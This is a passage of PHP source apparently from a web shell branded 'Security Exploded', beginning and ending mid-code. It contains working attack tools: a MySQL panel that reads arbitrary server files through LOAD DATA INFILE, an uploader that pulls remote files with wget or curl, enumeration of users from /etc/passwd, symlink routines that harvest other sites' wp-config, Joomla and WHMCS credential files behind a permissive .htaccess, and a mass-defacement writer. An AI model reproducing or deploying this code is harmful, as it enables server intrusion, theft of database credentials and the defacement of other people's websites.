</tr>
</table>';
                        }
                        if (!empty($sql_x)) {
                            echo "<hr size=\"1\" noshade>";
                            if ($sql_x == "newdb") {
                                echo "<b>";
                                if (mysql_create_db($sql_newdb) and !empty($sql_newdb)) {
                                    echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                                } else {
                                    echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                                }
                            }
                            if ($sql_x == "serverstatus") {
                                $result = mysql_query("SHOW STATUS", $sql_sock);
                                echo "<center><b>Server status variables:</b><br><br>";
                                echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
                                while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
                                    echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                                }
                                echo "</table></center>";
                                mysql_free_result($result);
                            }
                            if ($sql_x == "servervars") {
                                $result = mysql_query("SHOW VARIABLES", $sql_sock);
                                echo "<center><b>Server variables:</b><br><br>";
                                echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
                                while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
                                    echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
                                }
                                echo "</table>";
                                mysql_free_result($result);
                            }
                            if ($sql_x == "processes") {
                                if (!empty($kill)) {
                                    $query = "KILL " . $kill . ";";
                                    $result = mysql_query($query, $sql_sock);
                                    echo "<b>Process #" . $kill . " was killed.</b>";
                                }
                                $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
                                echo "<center><b>Processes:</b><br><br>";
                                echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
                                while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
                                    echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_x=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
                                }
                                echo "</table>";
                                mysql_free_result($result);
                            }
                            if ($sql_x == "getfile") {
                                $tmpdb = $sql_login . "_tmpdb";
                                $select = mysql_select_db($tmpdb);
                                if (!$select) {
                                    mysql_create_db($tmpdb);
                                    $select = mysql_select_db($tmpdb);
                                    $created = !!$select;
                                }
                                if ($select) {
                                    $created = FALSE;
                                    mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
                                    mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
                                    $result = mysql_query("SELECT * FROM tmp_file;");
                                    if (!$result) {
                                        echo "<b>Error in reading file (permision denied)!</b>";
                                    } else {
                                        for ($i = 0; $i < mysql_num_fields($result); $i++) {
                                            $name = mysql_field_name($result, $i);
                                        }
                                        $f = "";
                                        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
                                            $f .= join("\r\n", $row);
                                        }
                                        if (empty($f)) {
                                            echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
                                        } else {
                                            echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
                                        }
                                        mysql_free_result($result);
                                        mysql_query("DROP TABLE tmp_file;");
                                    }
                                }
                                mysql_drop_db($tmpdb);
                            }
                        }
                    }
                }
                echo "</td></tr>";
                if ($sql_sock) {
                    $affected = @mysql_affected_rows($sql_sock);
                    if (!is_numeric($affected) or $affected < 0) {
                        $affected = 0;
                    }
                    echo "\t<tr><th colspan=2>Affected rows: {$affected}</th></tr>";
                }
                echo "</table></center>";
            }
            echo "</form>";
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'phpinfo') {
        @ini_set('output_buffering', 0);
        @ob_start();
        @phpinfo();
        $buff = @ob_get_contents();
        @ob_end_clean();
        $awal = strpos($buff, "<body>") + 6;
        $akhir = strpos($buff, "</body>");
        echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
    } elseif (isset($_GET['view']) && $_GET['view'] != "") {
        if (is_file($_GET['view'])) {
            if (!isset($file)) {
                $file = magicboom($_GET['view']);
            }
            if (!$win && $posix) {
                $name = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $filn = basename($file);
            echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">\n    <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span>\n    <form action=\"?y=" . $pwd . "&amp;view={$file}\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n        <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" />\n        <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" />\n        <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />\n        <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" />\n    </form>\n    </td></tr>\n    <tr><td>Size</td><td>" . ukuran($file) . "</td></tr>\n    <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr>\n    <tr><td>Owner</td><td>" . $owner . "</td></tr>\n    <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr>\n    <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr>\n    <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr>\n    <tr><td>Actions</td><td><a href=\"?y={$pwd}&amp;edit={$file}\">Edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">Rename</a> | <a href=\"?y={$pwd}&amp;delete={$file}\">Delete</a> | <a href=\"?y={$pwd}&amp;dl={$file}\">Download</a>&nbsp;(<a href=\"?y={$pwd}&amp;dlgzip={$file}\">GZip</a>)</td></tr>\n    <tr><td>View</td><td><a href=\"?y=" . $pwd . "&amp;view=" . $file . "\">Text</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=code\">Code</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=image\">Image</a></td></tr>\n    </table>\n    ";
            if (isset($_GET['type']) && $_GET['type'] == 'image') {
                echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&amp;img=" . $filn . "\"></div>";
            } elseif (isset($_GET['type']) && $_GET['type'] == 'code') {
                echo "<div class=\"viewfile\">";
                $file = wordwrap(@file_get_contents($file), "240", "\n");
                @highlight_string($file);
                echo "</div>";
            } else {
                echo "<div class=\"viewfile\">";
                echo nl2br(htmlentities(@file_get_contents($file)));
                echo "</div>";
            }
        } elseif (is_dir($_GET['view'])) {
            echo showdir($pwd, $prompt);
        }
    } elseif (isset($_GET['edit']) && $_GET['edit'] != "") {
        @ini_set('output_buffering', 0);
        if (isset($_POST['save'])) {
            $file = $_POST['saveas'];
            $content = magicboom($_POST['content']);
            if ($filez = @fopen($file, "w")) {
                $time = date("d-M-Y H:i", time());
                if (@fwrite($filez, $content)) {
                    $msg = "file saved <span class=\"gaya\">@</span> " . $time;
                } else {
                    $msg = "failed to save";
                }
                @fclose($filez);
            } else {
                $msg = "permission denied";
            }
        }
        if (!isset($file)) {
            $file = $_GET['edit'];
        }
        if ($filez = @fopen($file, "r")) {
            $content = "";
            while (!feof($filez)) {
                $content .= htmlentities(str_replace("''", "'", fgets($filez)));
            }
            @fclose($filez);
        }
        ?>
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;edit=<?php 
        echo $file;
        ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php 
        echo $content;
        ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php 
        echo $file;
        ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php 
        echo $msg;
        ?></td></tr>
</table>
</form>
<?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'logout') {
        ?>
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=logout" method="post">

<?php 
        unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
        echo "<br /><br /><center>Byee !!!!!!</center>";
    } elseif (isset($_GET['x']) && $_GET['x'] == 'upload') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Uploader</font></b></center></td></tr></table>\n";
        if (isset($_POST['uploadcomp'])) {
            if (is_uploaded_file($_FILES['file']['tmp_name'])) {
                $path = magicboom($_POST['path']);
                $fname = $_FILES['file']['name'];
                $tmp_name = $_FILES['file']['tmp_name'];
                $pindah = $path . $fname;
                $stat = @move_uploaded_file($tmp_name, $pindah);
                if ($stat) {
                    $msg = "file uploaded to {$pindah}";
                } else {
                    $msg = "failed to upload {$fname}";
                }
            } else {
                $msg = "failed to upload {$fname}";
            }
        } elseif (isset($_POST['uploadurl'])) {
            @ini_set('output_buffering', 0);
            $pilihan = trim($_POST['pilihan']);
            $wurl = trim($_POST['wurl']);
            $path = magicboom($_POST['path']);
            $namafile = download($pilihan, $wurl);
            $pindah = $path . $namafile;
            if (is_file($pindah)) {
                $msg = "file uploaded to {$pindah}";
            } else {
                $msg = "failed to upload {$namafile}";
            }
        }
        ?>
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=upload" enctype="multipart/form-data" method="post"><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From Computer</b></th></tr><tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php 
        echo $pwd;
        ?>" /></td></tr>
</tr></table></form><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From URL</b></th></tr><tr><td colspan="2"><form method="post" style="margin:0;padding:0;" action="?y=<?php 
        echo $pwd;
        ?>&amp;x=upload">
<table><tr><td>Url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php 
        echo $pwd;
        ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan"><option value="wwget">Wget</option><option value="wlynx">Lynx</option><option value="wfread">Fread</option><option value="wfetch">Fetch</option><option value="wlinks">Links</option><option value="wget">Get</option><option value="wcurl">Curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr></table><div style="text-align:center;margin:2px;"><?php 
        echo $msg;
        ?></div>
<?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'jumping') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Jumping</font></b></center></td></tr></table>\n";
        ?>
    <form action="?y=<?php 
        echo $pwd;
        ?>&x=jumping" method="post">
    <?php 
        echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
        ($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink>&nbsp;: &nbsp;&nbsp;Safe_mode = On </b></td></tr></table>");
        set_time_limit(0);
        echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
        @($passwd = fopen('/etc/passwd', 'r'));
        if (!$passwd) {
            die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink>&nbsp; : &nbsp;&nbsp; I Can't Read [ /etc/passwd ]</b></td></tr></table>\n<br><br><br><br><center><div class=\"info\"><b></div> \n<br><br><div class=\"jaya\"> &copy; " . date('Y', time()) . " Security Exploded </b></div></center>");
        }
        $pub = array();
        $users = array();
        $conf = array();
        $i = 0;
        while (!feof($passwd)) {
            $str = fgets($passwd);
            if ($i > 100) {
                $pos = strpos($str, ':');
                $username = substr($str, 0, $pos);
                $dirz = '/home/' . $username . '/public_html/';
                if ($username != '') {
                    if (is_readable($dirz)) {
                        array_push($users, $username);
                        array_push($pub, $dirz);
                    }
                }
            }
            $i++;
        }
        foreach ($users as $user) {
            echo '
<table><tr><td>[Found !]</td>
    <td><a href="?y=/home/' . $user . '/public_html">/home/' . $user . '/public_html/</a><td></tr>';
        }
        echo "</table>";
    } elseif (isset($_GET['x']) && $_GET['x'] == 'symlink') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Multi Tool Symlink</font></b></center></td></tr></table>\n";
        ?>
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=symlink" method="post">
<form method='post'><center><table class='tabnet'><tr><th colspan='5'><b>Multi Tool Symlink</b></th></tr><tr><th><b>Manual Symlink</b></th><th><b>Auto Symlink</b></th><th><b>Domain Viewer</b></th></tr><tr><td><input class='inputzbut' type='submit'name='symlinkr' value="Manual Symlink" /></td><td><input class='inputzbut' type='submit'name='symlinks' value="Auto Symlink" /></td><td><input class='inputzbut' type='submit' name='domain' value="Domain Viewer" /></td></tr></table></center></form><br><hr><br><br>
<?php 
        #==================[ Multi Tool Symlink ]==================#
        if (isset($_POST['domain'])) {
            ?>
    <form action="?y=<?php 
            echo $pwd;
            ?>&x=dv" method="post">
    <center><h2>[ Domain Viewer by ]<br>Notes: If Blank(No Domain) That Mean Not Work Use Domain Viewer, You Can Use Auto Symlink Server</center><br><br>
    <?php 
            function openBaseDir()
            {
                $openBaseDir = ini_get("open_basedir");
                if (!$openBaseDir) {
                    $openBaseDir = '<font color="green">OFF</font>';
                } else {
                    $openBaseDir = '<font color="red">ON</font>';
                }
                return $openBaseDir;
            }
            echo "\n    <table width=\"95%\" cellspacing=\"0\" cellpadding=\"0\" class=\"td1\" >\n    <td height=\"100\" align=\"left\" class=\"td1\">";
            $pg = basename("/var/www/html/input.php");
            $safe_mode = @ini_get('safe_mode');
            $dir = @getcwd();
            ////////////////////////////////////////////////////
            // LET'S PLAY ~
            ##.htaccess
            @mkdir('explodedsym', 0777);
            @symlink("/", "explodedsym/root");
            $htaccss = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
            file_put_contents("explodedsym/.htaccess", $htaccss);
            $etc = file_get_contents("/etc/passwd");
            $etcz = explode("\n", $etc);
            ##Symlink to the ROOT :p
            foreach ($etcz as $etz) {
                $etcc = explode(":", $etz);
                error_reporting(0);
                $current_dir = posix_getcwd();
                $dir = explode("/", $current_dir);
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/blog/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/config.php', "explodedsym/" . $etcc[0] . '-PhpBB.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/config.php', "explodedsym/" . $etcc[0] . '-vBulletin.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/web/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/joomla/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/conf_global.php', "explodedsym/" . $etcc[0] . '-IPB.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/inc/config.php', "explodedsym/" . $etcc[0] . '-MyBB.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/Settings.php', "explodedsym/" . $etcc[0] . '-SMF.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/sites/default/settings.php', "explodedsym/" . $etcc[0] . '-Drupal.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/e107_config.php', "explodedsym/" . $etcc[0] . '-e107.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/datas/config.php', "explodedsym/" . $etcc[0] . '-Seditio.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/configure.php', "explodedsym/" . $etcc[0] . '-osCommerce.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/client/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientes/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/support/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/supportes/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmcs/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domain/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/hosting/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmc/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/billing/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/portal/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/order/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientarea/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
                symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domains/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
            }
            #############################
            if (is_readable("/var/named")) {
                echo "<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
                echo "<tr><td><center><b>SITE</b></center></td><td>\n    <center><b>USER</b></center></td>\n    <td></center><b>SYMLINK</b></center></td>";
                $list = scandir("/var/named");
                foreach ($list as $domain) {
                    if (strpos($domain, ".db")) {
                        $i += 1;
                        $domain = str_replace('.db', '', $domain);
                        $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                        echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td>\n    <td class='td1'><center><font color='red'>" . $owner['name'] . "</font></center></td>\n    <td class='td1'><center><a href='explodedsym/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
                    }
                }
                echo "<center>Total Domains Found: " . $i . "</center><br />";
            } else {
                echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>";
            }
            break;
        }
        ##################################
        #==================[ Multi Tool Symlink ]==================#
        if (isset($_POST['symlinkr'])) {
            @set_time_limit(0);
            @mkdir('sym', 0777);
            error_reporting(0);
            $htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
            $op = @fopen('sym/.htaccess', 'w');
            fwrite($op, $htaccess);
            echo "<center><b>[ Manual Symlink ]</b><br><br>\n<form method=\"post\"><table class=\"tabnet\"><th colspan=\"5\">Manual Symlink</th><tr>\n<td>File Path &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:</td><td><input class=\"inputz\" type=\"text\" name=\"file\" value=\"/home/user/public_html/config.php\" size=\"60\"/></td></tr>\n<tr><td>Symlink Name :</td><td><input class=\"inputz\" type=\"text\" name=\"symfile\" value=\"config.txt\" size=\"60\"/></td></tr>\n<tr><td></td><td><input class=\"inputzbut\" type=\"submit\" value=\"Symlink\" name=\"symlink\" /></td></tr></table></form></center>";
            $target = $_POST['file'];
            $symfile = $_POST['symfile'];
            $symlink = $_POST['symlink'];
            if ($symlink) {
                @symlink("{$target}", "sym/{$symfile}");
                echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
            }
        }
        #==================[ Multi Tool Symlink ]==================#
        if (isset($_POST['symlinks'])) {
            @set_time_limit(0);
            echo "<center><h1>[ Auto Symlink Server]</h1></center><br><center><div class=content>";
            $d0mains = @file("/etc/named.conf");
            ##httaces
            if ($d0mains) {
                @mkdir("explodedsyms", 0777);
                @chdir("explodedsyms");
                @exe("ln -s / root");
                $file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None 
Satisfy Any';
                $fp3 = fopen('.htaccess', 'w');
                $fw3 = fwrite($fp3, $file3);
                @fclose($fp3);
                echo "\n<table align=center border=1 style='width:60%;border-color:#333333;'>\n<tr>\n<td align=center><font size=3>S. No.</font></td>\n<td align=center><font size=3>Domains</font></td>\n<td align=center><font size=3>Users</font></td>\n<td align=center><font size=3>Symlink</font></td>\n</tr>";
                $dcount = 1;
                foreach ($d0mains as $d0main) {
                    if (eregi("zone", $d0main)) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domains);
                        flush();
                        if (strlen(trim($domains[1][0])) > 2) {
                            $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                            echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>\n<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>\n<td>" . $user['name'] . "</td>\n<td><a href='/k2/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
                            flush();
                            $dcount++;
                        }
                    }
                }
                echo "</table>";
            } else {
                $TEST = @file('/etc/passwd');
                if ($TEST) {
                    @mkdir("explodedsyms", 0777);
                    @chdir("explodedsyms");
                    exe("ln -s / root");
                    $file3 = 'Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
                    $fp3 = fopen('.htaccess', 'w');
                    $fw3 = fwrite($fp3, $file3);
                    @fclose($fp3);
                    echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>\n <table align=center border=1><tr>\n <td align=center><font size=4>S. No.</font></td>\n <td align=center><font size=4>Users</font></td>\n <td align=center><font size=4>Symlink</font></td></tr>";
                    $dcount = 1;
                    $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
                    while (!feof($file)) {
                        $s = fgets($file);
                        $matches = array();
                        $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                        $matches = str_replace("home/", "", $matches[1]);
                        if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                            continue;
                        }
                        echo "<tr><td align=center><font size=3>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";
                        echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                        $dcount++;
                    }
                    fclose($file);
                    echo "</table>";
                } else {
                    if ($os != "Windows") {
                        @mkdir("explodedsyms", 0777);
                        @chdir("explodedsyms");
                        @exe("ln -s / root");
                        $file3 = 'Options all 
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
                        $fp3 = fopen('.htaccess', 'w');
                        $fw3 = fwrite($fp3, $file3);
                        @fclose($fp3);
                        echo "<center>\n <table align=center border=1><tr>\n <td align=center><font size=4>Id</font></td>\n <td align=center><font size=4>Users</font></td>\n <td align=center><font size=4>Symlink</font></td></tr>";
                        $temp = "";
                        $val1 = 0;
                        $val2 = 1000;
                        for (; $val1 <= $val2; $val1++) {
                            $uid = @posix_getpwuid($val1);
                            if ($uid) {
                                $temp .= join(':', $uid) . "\n";
                            }
                        }
                        echo "<br/>";
                        $temp = trim($temp);
                        $file5 = fopen("test.txt", "w");
                        fputs($file5, $temp);
                        fclose($file5);
                        $dcount = 1;
                        $file = fopen("test.txt", "r") or exit("Unable to open file!");
                        while (!feof($file)) {
                            $s = fgets($file);
                            $matches = array();
                            $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                            $matches = str_replace("home/", "", $matches[1]);
                            if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                                continue;
                            }
                            echo "<tr><td align=center><font size=3>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";
                            echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                            $dcount++;
                        }
                        fclose($file);
                        echo "</table></div></center>";
                        unlink("test.txt");
                    } else {
                        echo "<center><font size=4>Cannot create Symlink</font></center>";
                    }
                }
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'mass') {
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Mass Deface</font></b></center></td></tr></table>\n";
        error_reporting(0);
        ?>
<form ENCTYPE="multipart/form-data" action="<?php 
        $_SERVER['PHP_SELF'];
        ?>" method='post'>
<td><table><table class="tabnet" >

<th colspan='5'><b>Folder Mass Deface</b></th>
<form hethot='post'>
<tr>
    <tr>
    <td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' style='background:black;' type='text' name='path' size='60' value="<?php 
        echo getcwd();
        ?>"></td>
    </tr><br>
    <tr>
    <td>File Name</td><td><input class ='inputz' style='background:black;' type='text' name='file' size='60' value="index.html"></td>
    </tr>
</tr>
<table class="tabnet" >
<th colspan='5'><b>File Code Mass Deface</b></th>
<tr><td></td><td>
<table><textarea align="center" style='background:black;' name='index' rows='15' cols='80'><?php 
        echo $script_deface;
        ?></textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Mass Deface&nbsp;&nbsp;"></center></form></table></table></table></table>
<br></form>
<?php 
        $mainpath = $_POST[path];
        $file = $_POST[file];
        $dir = opendir("{$mainpath}");
        $code = base64_encode($_POST[index]);
        $indx = base64_decode($code);
        while ($row = readdir($dir)) {
            $start = @fopen("{$row}/{$file}", "w+");
            $finish = @fwrite($start, $indx);
            if ($finish) {
                echo "{$row}/{$file} > Done<br><br>";
            }
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'zone') {
        @ini_set('output_buffering', 0);
